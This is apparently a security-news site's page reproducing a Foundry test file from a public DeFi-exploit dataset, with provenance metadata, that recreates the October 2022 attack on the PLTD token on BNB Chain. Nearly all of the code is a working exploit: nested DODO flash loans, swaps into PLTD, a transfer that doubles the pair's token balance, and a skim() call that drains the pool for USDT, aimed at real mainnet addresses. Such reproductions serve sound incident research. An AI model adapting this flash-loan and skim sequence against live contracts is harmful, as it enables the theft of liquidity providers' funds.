Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/PLTD_exp.sol

Public reproduction file for dataset entry PLTD.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/PLTD_exp.sol66 lines
1//SPDX-License-Identifier: MIT
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BeosinAlert/status/1582181583343484928
9// TX
10// https://bscscan.com/tx/0x8385625e9d8011f4ad5d023d64dc7985f0315b6a4be37424c7212fe4c10dafe0
12contract ContractTest is Test {
13 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
14 IERC20 PLTD = IERC20(0x29b2525e11BC0B0E9E59f705F318601eA6756645);
15 Uni_Pair_V2 Pair = Uni_Pair_V2(0x4397C76088db8f16C15455eB943Dd11F2DF56545);
16 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
17 address constant dodo1 = 0xD7B7218D778338Ea05f5Ecce82f86D365E25dBCE;
18 address constant dodo2 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
21 function setUp() public {
22 cheats.createSelectFork("bsc", 22_252_045);
23 }
25 function testExploit() external {
26 USDT.approve(address(Router), type(uint256).max);
27 PLTD.approve(address(Router), type(uint256).max);
28 DVM(dodo1).flashLoan(0, 220_000 * 1e18, address(this), new bytes(1));
30 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
31 }
33 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
34 if (msg.sender == dodo1) {
35 DVM(dodo2).flashLoan(0, 440_000 * 1e18, address(this), new bytes(1));
36 USDT.transfer(dodo1, 220_000 * 1e18);
37 }
38 if (msg.sender == dodo2) {
39 USDTToPLTD();
40 uint256 amount = PLTD.balanceOf(address(Pair));
41 PLTD.transfer(address(Pair), amount * 2 - 1);
42 Pair.skim(address(this));
43 PLTD.transfer(tx.origin, 1e18);
44 PLTDToUSDT();
45 USDT.transfer(dodo2, 440_000 * 1e18);
46 }
47 }
49 function USDTToPLTD() internal {
50 address[] memory path = new address[](2);
51 path[0] = address(USDT);
52 path[1] = address(PLTD);
53 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
54 660_000 * 1e18, 0, path, address(this), block.timestamp
55 );
56 }
58 function PLTDToUSDT() internal {
59 address[] memory path = new address[](2);
60 path[0] = address(PLTD);
61 path[1] = address(USDT);
62 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
63 PLTD.balanceOf(address(this)), 0, path, address(this), block.timestamp
64 );
65 }

Analysis

Dataset entry

Public Foundry test for “PLTD” (2022-10-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
PLTD
Path
src/test/2022-10/PLTD_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0eb2ff6f104e93ae87d09edecd1596479bbcfd2d
Language
Solidity
Size
67 lines
Date
2022-10-18
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/PLTD_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0eb2ff6f104e93ae87d09edecd1596479bbcfd2d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.